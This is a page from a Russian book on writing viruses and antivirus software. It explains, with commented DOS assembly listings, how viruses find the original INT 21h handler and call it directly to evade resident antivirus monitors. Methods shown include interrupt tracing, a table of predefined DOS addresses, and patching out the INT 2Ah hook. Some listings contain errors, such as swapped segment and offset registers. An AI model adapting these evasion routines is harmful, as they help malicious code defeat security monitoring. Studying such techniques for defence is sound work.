Текст книги "Создаем вирус и антивирус"
Автор книги: Игорь Гульев
Жанр: Программирование, Компьютеры
сообщить о неприемлемом содержимом
Текущая страница: 6 (всего у книги 15 страниц)
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,...
int 21h
По команде INT управление передается в точку, адрес которой определяется двумя словами, находящимися в таблице векторов прерываний по адресу 0000h:0084h. С этого момента начинается исполнение команд многочисленных обработчиков прерывания INT 21h и не менее многочисленных резидентных программ до тех пор, пока управление, наконец, не получит оригинальный обработчик операционной системы (рис. 5.1):
Рис. 5.1
Разумеется, среди этих многочисленных обработчиков может «затесаться» обработчик, принадлежащий антивирусному монитору, который не дает спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы пытаются определить адрес оригинального обработчика и обратиться к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr O21
...
O21 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают свои меры.
Определение адреса оригинального обработчика DOSДля того чтобы обратиться к DOS напрямую, нужно знать адрес оригинального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного прерывания INT 1. Суть метода заключается в том, что вирус трассирует прерывание INT 21h (включает флаг трассировки, при этом после каждой команды происходит прерывание INT 1) и проверяет значение сегмента, в котором идет обработка прерывания. Если значение сегмента меньше 0300h, то это обработчик DOS. Например, так поступал много лет назад вирус Yankee 2C (M2C, Музыкальный). Вот листинг соответствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01h
mov ax,3501h
int 21h
mov si,bx ;смещение сохраняем в регистре SI
mov di,es ;сегмент сохраняем в регистре DI
;Устанавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset Int01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next – помещаем в стек
;последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21h. Затем можно выполнить команду IRET – программа запустит
;текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
;каждой команды процессора будет запускаться INT 01h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
;трассировки TF, после сохранения флагов в стеке считаем их
;в регистр AX, в нем включим соответствующий бит, а затем
;сохраним регистр AX в стеке
pushf
pop ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21h
mov ax,3521h
int 21h
;Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
;Установим в регистре AH номер какой−либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah,0Bh
;Запускаем трассировку
cli
iret
;Обработчик INT 01h
Int01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
;Адресуемся к стеку с помощью регистра BP,
;предварительно сохранив текущее значение BP
push bp
mov bp,sp
;Теперь в стеке находятся:
;SS:[BP] – BP
;SS:[BP+2] – IP
;SS:[BP+4] – CS
;SS:[BP+6] – флаги
;Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
;Проверяем текущий адрес. Если сегмент меньше 300h,
;обработчик DOS достигнут, иначе – продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
;Достигнут DOS – берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:O21,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
;Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
;Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],0FEFFh
;Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
;Выходим из обработчика
iret
;Восстановление после трассировки
Next:
;Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
;Восстанавливаем прежнее значение вектора прерывания INT 01h
mov ax,2501h
mov dx,si
mov ds,di
int 21h
В настоящее время этот алгоритм можно считать несколько устаревшим. Дело в том, что современные версии DOS могут размещать свой обработчик в областях верхней памяти. Поэтому условие окончания трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],0F000h
ja loc_65
В качестве альтернативного варианта можно использовать такой прием. Сначала определяется исходный сегмент DOS при помощи недокументированной функции 52h прерывания INT 21h (возвращает адрес векторной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все результаты можно считать в той или иной мере корректными. Дело в том, что современные версии DOS, даже будучи загруженными в верхнюю память, всегда имеют точку входа в нижней памяти вида:
nop
nop
;Проверка состояния адресной линии A20
call Check_A20
;Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов «правильным» следует признать адрес в обработчике DOS, имеющий максимальное значение. Мы еще вернемся к вопросу о нахождении «правильного» адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска оригинального адреса DOS. Достаточно легко испортит трассировку, например, вот такой вот фрагмент, встроенный в цепочку обработчиков:
;Вызываем обработчик прерывания INT 60h (до этого момента
;прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
nop
;Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
nop
...
;Обработчик прерывания. При вызове прерывания флаг трассировки
;сбрасывается – при входе в обработчик трассировка будет
выключена
Int60:
;Разрешение прерываний, так как при выходе из обработчика не
;будет восстанавливаться оригинальное значение регистра флагов
sti
;Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
;Выходим из прерывания, но не командой IRET, а командой RETF 2,
;чтобы не восстанавливать флаги (и, как следствие,
;флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить, применив хорошо известный разработчикам защит от несанкционированного копирования прием аппаратного конвейера, который использует процессор для ускорения работы. При выполнении очередной команды процессор считывает код следующей. Когда придет время выполнения следующей команды, она будет уже считана из памяти, и не нужно будет тратить время на ее чтение. Прием заключается в модификации команд, которые уже оказались в конвейере: если трассировка не ведется, то код команд модифицируется только в памяти, а выполняется та программа, которая находится в конвейере. Если трассировка ведется, то конвейер сбрасывается перед каждой командой трассируемой программы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и выполняется модифицированный код.
;Модифицируем следующую команду. Команда JMP (безусловный
;переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
;Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
;модифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
;Трассировка не ведется – нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки забит: «Выставленный флаг трассировки можно выявить косвенно, замаскировав аппаратные прерывания, поместив в [SP-1] контрольное значение и дав инструкцию STI. Тогда по изменению слова в стеке можно судить, было трассировочное прерывание или нет».
Выявив факт трассировки прерывания DOS, мониторы начинают выдавать об этом соответствующие сообщения, поэтому даже не самый опытный пользователь догадается, что кто-то (например, вирус) пытается попасть в систему.
Метод предопределенных адресов
Переходим к методу определения оригинального адреса точки входа в DOS, основанному на том, что эти адреса для разных версий и конфигураций DOS имеют в общем случае различные значения, но число их ограничено. А это значит, что их можно просто-напросто выбирать из таблицы (причем не очень большой). Прием не новый, но незаслуженно забытый.
Имея программу, основанную на одном из ранее описанных способов определения реального адреса обработчика DOS, загрузочные дискеты с разными версиями DOS и немного терпения, можно получить примерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
;Точка 0
2E CS:
891EB800 MOV [00B8],BX
2E CS:
8C06BA00 MOV [00BA],ES
CB RETF
...
;Точка 1
2E CS:
3A26FF0D CMP AH,[0DFF]
77DC JA 1443
80FC51 CMP AH,51
74A1 JZ 140D
...
80FC64 CMP AH,64
74BA JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0–7.0 очень похожи. В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних адресах памяти. Большинство алгоритмов трассировки заканчивают работу, достигнув этой точки. Для DOS версий 5.0–6.22 этот фрагмент присутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне зависимости от того, осуществляется ли запуск поддерживающего эту опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто указывает на фрагмент 2, размещающийся в нижних областях памяти. Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из одной команды внутрисегментного перехода), и обработчик состоит из фрагмента 2.
;Точка 0
90 NOP
90 NOP
E8CC00 CALL CheckA20
2E CS:
FF2E6A10 J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адресах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C CMP AH,6C
77D2 JA 40D0
...
80FC50 CMP AH,50
748E JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение – фрагмент 1 присутствует всегда, вне зависимости от содержимого файла CONFIG.SYS. Теперь приведем конкретные значения адресов, полученные для разных случаев:
DOS 7.0 (русская версия)
Точка 0 00C9:0FB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
DOS 6.20
device=himem.sys
dos=high
Точка 0 0123:109E 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B 1E06
Точка 2A FDC8:41D1 2ACD
DOS 6.20
dos=high
Точка 0 0123:109E 03EB
Точка 1 03AC:40F8 80FA
Точка 2 03AC:411B 1E06
Точка 2A 03AC:41D1 2ACD
DOS 6.20
Точка 1 002A:40F8 80FA
Точка 2 002A:411B 1E06
Точка 2A 002A:41D1 2ACD
DOS 5.0
device=himem.sys
dos=high
Точка 0 0123:109E 9090
Точка 1 FDC8:40EB 80FA
Точка 2 FDC8:410E 1E06
Точка 2A FDC8:41C4 2ACD
DOS 5.0
dos=high
Точка 0 0123:109E 03EB
Точка 1 03AC:40F8 80FA
Точка 2 03AC:411B 1E06
Точка 2A 03AC:41D1 2ACD
DOS 5.0
Точка 1 002A:40EB 80FA
Точка 2 002A:410E 1E06
Точка 2A 002A:41D1 2ACD
DOS 3.30
Точка 0 0070:05DC 892E
Точка 1 0294:1460 3A2E
Точка 2 0294:1480
Точка 2A 0294:151B 2ACD
DOS 3.10
Точка 0 0070:0D43
DOS 3.20
Точка 0 0070:17D0
Точка 2 является оптимальной, то есть в нее целесообразнее всего передавать управление, чтобы обойти резидентные антивирусные мониторы. Точка 2A – это позиция инструкции INT 2Ah, которую DOS обязательно выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова – на тот случай, если по указанному адресу находится нечто иное.
Борьба с антивирусными мониторамиСовременные антивирусные мониторы умеют отслеживать факт прямого обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, используя метод встраивания в ядро операционной системы. Общепринятая схема такова: в точку входа прерывания INT 21h записывается инструкция JMP FAR на обработчик, который проверяет номер функции на безопасность. Он восстанавливает оригинальные инструкции в точке входа прерывания и вызывает обработчик INT 21h. После возврата управления из прерывания, в точку входа снова записывается инструкция JMP FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный «сплайсинг» (встраивание), который широко применяется разработчиками вирусов. Отметим, что для перехода не обязательно использовать инструкцию JMP FAR (она занимает 5 байт в памяти и не везде может быть размещена). Вместо нее можно применить INT 3, затратив всего 1 байт. В то же время необходимо обеспечить обработку вызовов с кодами 00h, 4Ch, 31h (они не возвращают управление в исходную точку), а также самовызовов (при завершении процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирусного монитора встраивается в ядро DOS, а второй – просто перехватывает цепочку 21-го прерывания. Когда программа выполняет инструкцию INT 21h, управление передается второму компоненту. У антивирусных мониторов существует список функций, которые воспринимаются ими как опасные. Они могут сделать проверку на наличие заданной функции в этом списке, затем выставить флаг «проход цепочки» и передать управление дальше. Когда первый компонент получает управление, он проверяет флаг «прохода цепочки». Если он выставлен, то была инструкция INT 21h, поэтому необходимо сбросить флаг «проход цепочки» и передать управление в DOS. Если флаг сброшен, это значит, что был выполнен прямой вызов. В этом случае требуется принимать соответствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее применяют почти все современные антивирусные мониторы. Вот один из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по оригинальному адресу. Программа AVPTSR перехватывает обращение. Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произведен из INT 21 h, вблизи начала фрагмента. Обработчик INT 08h, то есть таймера, периодически восстанавливает вектор 2Ah, если он был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверяется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOSДля чего нужно такое конструирование? Неужели антивирусные мониторы настолько бдительны, что пресекают любые попытки открыть для модификации EXE– или СОМ-файл? Да, это действительно так. Авторы антивирусных мониторов обладают достаточно эффективными средствами, чтобы предотвратить прямые обращения к DOS со стороны вирусов.
Обратимся к мнению Ю. Косивцова: «Для обнаружения действия нерезидентных вирусов необходимо контролировать вызов функций DOS с номерами: 3Dh (открытие файла через описатель), 0Fh (открытие файла через FCB и 5Dh) и подфункцию 00h (косвенный вызов DOS). Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ или SYS, то можно выдавать предупреждающее сообщение».
Список выглядит слишком коротким. Действительно, а что произойдет, если сначала переименовать программный файл? И почему не учтена функция 6Ch (расширенное открытие файла)? А что будет, если открыть файл для чтения, а затем изменить режим доступа прямым обращением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто они никогда не раскрывают свои профессиональные секреты. Например, авторы программы AVPTSR реально учли и использовали все эти методики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
– отслеживает и блокирует попытки трассировки 21-го прерывания;
– для контроля «опасных» функций DOS встраивается в начало обработчика прерывания INT 21h;
– для предотвращения прямого обращения к DOS использует флаг, сбрасываемый либо во вставленном фрагменте, либо в обработчике прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием «метода предопределенных адресов».
Для решения второй проблемы стоит проанализировать возможное расположение в обработчике DOS точки перехода на антивирусный монитор. Очевидно, это может быть точка 0 либо точка 1. В самом худшем случае можно допустить, что врезка происходит непосредственно после команды проверки на максимальное значение номера функции. Далее обработчик DOS «растекается» на многочисленные ручейки, поэтому отследить их все крайне затруднительно. По крайней мере, обработчики функций 0Fh, 3Dh и 5Fh попадают в разные ручейки. Однако, при использовании ограниченного набора функций они могут разместиться и в одном ручейке, что намного упростит решение данной задачи. Функции 3Ch-43h, отвечающие за создание, открытие, закрытие, чтение, запись, атрибуты и перемещение, действительно располагаются в одном общем ручейке. Это позволяет использовать адрес точки 2 для прямого обращения к DOS. Мониторы, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений. Один из вариантов – замаскировать прерывания таймера и изменить вектор 8-го прерывания перед прямым обращением к DOS. Вместо изменения вектора можно попробовать вставить инструкции IRET в начало текущего (антивирусного) обработчика. При использовании все того же метода «предопределенных адресов» и, зная позицию инструкции INT 2Ah в обработчике DOS, перед прямым обращением к DOS следует просто заменить этот вызов двумя командами NOP.
Пример реализацииРассмотрим две подпрограммы, которые используются для прямого обращения к DOS.
Подпрограмма SetAdr предназначена для определения адреса обработчика DOS методом предопределенных адресов. Для версий DOS, «правильный» адрес которых неизвестен, используется функция DOS 35h (получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код включена проверка на номер функции. Для «безопасных» функций предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
;Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr proc near
;Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
;Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
;Сохраняем адрес точки 2A
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21,ax
mov ax, [si+6]
mov Ofs21,ax
ret
Skip:
;Переходим к следующему элементу таблицы
add si,8
;Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], 0
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21h – метод
;”предопределенных адресов” не сработал, точка входа не найдена
mov ax, 3521h
int 21h
mov Ofs21,bx
mov Seg21,es
ret
;Таблица позиций 2A и 2.
Table dw 0FF03h, 5333h,0FF03h, 420Ah
dw 0FDC8h, 41D1h,0FDC8h, 411Bh
...
dw 0
SetAdr endp
;Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;Заменяем вызов прерывания 2Аh на две команды NOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Аh
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
;Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21h
ret
;В этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;Обработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
Правообладателям!
Это произведение, предположительно, находится в статусе 'public domain'. Если это не так и размещение материала нарушает чьи-либо права, то сообщите нам об этом.